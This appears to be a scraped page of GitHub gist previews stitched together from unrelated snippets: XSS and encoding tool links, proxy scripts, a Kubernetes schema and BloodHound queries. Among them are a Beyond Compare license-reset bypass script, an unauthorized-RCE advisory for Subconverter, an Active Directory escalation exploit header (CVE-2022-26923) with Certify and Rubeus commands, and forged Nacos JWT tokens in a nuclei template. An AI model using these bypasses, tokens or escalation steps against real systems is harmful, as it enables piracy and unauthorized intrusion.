codexss

xssee:http://web2hack.org/xssee

xssee:http://evilcos.me/lab/xssee

程默的博客(DES,3DES,AES,RC,Blowfish,Twofish,Serpent,Gost,Rijndael,Cast,Xtea,RSA):http://tool.chacuo.net/cryptdes

在线编码解码(多种并排):http://bianma.911cha.com

在线加密解密(多种):http://encode.chahuo.com

rise-worlds

for 4.2.4 or higher, 4.2.5,4.2.6,4.3.7, it's works, this is the way which makes Always in evaluation mode.

1. open Terminal, go to the dir : cd /Applications/Beyond Compare.app/Contents/MacOS
2. change the name BCompare to BCompare.bak: mv BCompare BCompare.bak
3. touch a file name BCompare , and chmod a+ux BCompare : touch BCompare && chmod a+ux BCompare
4. open BCompare with text editor, insert the script :

#!/bin/bash
rm "/Users/$(whoami)/Library/Application Support/Beyond Compare/registry.dat"
"`dirname "$0"`"/BCompare.bak $@

seajaysec

{
    "queries": [{
            "name": "List all owned users",
            "queryList": [{
                "final": true,
                "query": "MATCH (m:User) WHERE m.owned=TRUE RETURN m"
            }]
        },
        {
            "name": "List all owned computers",

bergeron

{
  "swagger": "2.0",
  "info": {
   "title": "k8s.io/api/admission/v1",
   "version": "1.0"
  },
  "paths": {},
  "definitions": {
   "runtime.RawExtension": {
    "description": "RawExtension is used to hold extensions in external versions.\n\nTo use this, make a field which has RawExtension as its type in your external, versioned struct, and Object in your internal struct. You also need to register your various plugin types.\n\n// Internal package: type MyAPIObject struct {\n\truntime.TypeMeta `json:\",inline\"`\n\tMyPlugin runtime.Object `json:\"myPlugin\"`\n} type PluginA struct {\n\tAOption string `json:\"aOption\"`\n}\n\n// External package: type MyAPIObject struct {\n\truntime.TypeMeta `json:\",inline\"`\n\tMyPlugin runtime.RawExtension `json:\"myPlugin\"`\n} type PluginA struct {\n\tAOption string `json:\"aOption\"`\n}\n\n// On the wire, the JSON will look something like this: {\n\t\"kind\":\"MyAPIObject\",\n\t\"apiVersion\":\"v1\",\n\t\"myPlugin\": {\n\t\t\"kind\":\"PluginA\",\n\t\t\"aOption\":\"foo

myl7

#!/bin/bash
set -euo pipefail

# From https://www.v2ex.com/t/811424

function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}

Esonhugh

# Date: 2022-07-10
# Author: Esonhugh
# proxy command to make you switch your commandline fastly

export clash="127.0.0.1"   # define as your favour
export portOfClash="7890"  # define as your favour
proxys(){
        case "$1" in
                (h)
                        echo "|==============================================|"

Esonhugh

# https://twitter.com/brsn76945860/status/1171233054951501824
# pip install mmh3
#
# in python 3
# Author: https://gist.github.com/yehgdotnet
#
# Author: Esonhugh (https://gist.github.com/Esonhugh) more automatic
# date: 2021/12/07 23:38 UTC+0800

import mmh3

CwithW

Subconverter v0.7.2 unauthorized RCE

Software Link(Subconverter): https://github.com/tindy2013/subconverter

Affected versions: Subconverter v0.7.2, < v0.7.2-ce8d2bd

Description

A remote code execution (RCE) vulnerability in Subconverter v0.7.2 allows unauthorized attackers to execute arbitrary code via crafted config and url parameters.

dmchell

// Exploit for Active Directory Domain Privilege Escalation (CVE-2022–26923)
// Author: @domchell - MDSec
// This exploit can be used to update the relveant AD attributes required to enroll in a machine template as any machine in AD using an existing machine account
// Adjusting MS-DS-Machine-Account-Quota is not sufficient to stop this attack :)

// Steps:
// 1.       Escalate on any workstation (hint: krbrelayup ftw)
// 2.       Execute UpdateMachineAccount.exe as SYSTEM
// 3.       Enroll in machine template e.g. (Certify.exe request /ca:"ca.evil.corp\\CA" /template:Computer /machine /subject:CN=dc.evil.corp
// 4.       Request a TGT using the certificate e.g. (Rubeus.exe asktgt /user:dc$ /domain:evil.corp /dc:dc.evil.corp /certificate:<base64 cert> /enctype:AES256)

Esonhugh

id: nacos-bypass-authentication

variables:
  #token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.vqhkMLKmquQ6R5AD6VWrTOqgClC599nnAQgQLHhPcLc
  # token is signed with a very long time expire.
  # token exp -1
  token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6LTF9.ybUomrBRXZhbUMWVgXRz3Q6zndbF-Zdk4RGpCnV-Ofs

info:
  name: Nacos Bypass Auth with default jwt secret